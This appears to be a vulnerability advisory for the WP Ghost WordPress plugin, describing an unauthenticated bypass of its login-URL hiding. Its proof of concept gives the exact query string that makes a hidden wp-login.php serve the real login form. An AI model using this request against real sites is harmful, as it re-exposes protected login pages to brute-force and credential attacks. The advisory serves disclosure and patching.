WP Ghost (Hide My WP Ghost) < 7.0.11 – Unauthenticated URL Hiding Bypass via Loopback Compatibility Check | CVE 2026-86800

Description

The plugin does not properly validate a loopback security-check request before disabling its login and URL hiding protection, dropping that protection precisely when the request's verification value is missing or incorrect, which any visitor can arrange, allowing unauthenticated attackers to re-expose the concealed WordPress login page location.

Proof of Concept

Prerequisites: WP Ghost active with Change Paths / URL hiding enabled and a custom login slug, so the default wp-login.php returns 404 to logged-out visitors.

1. Confirm the protection is armed. As a logged-out visitor, request:
     https://victim.example/wp-login.php
   Expected: HTTP 404 (login page hidden).

2. Bypass. Request the same hidden path with the loopback action appended and no valid hash:
     https://victim.example/wp-login.php?action=itsec-check-loopback
   Expected: HTTP 200, the genuine WordPress login form is served (the response contains the loginform, user_login and wp-submit fields).

Any incorrect hash value produces the same result; no secret is required.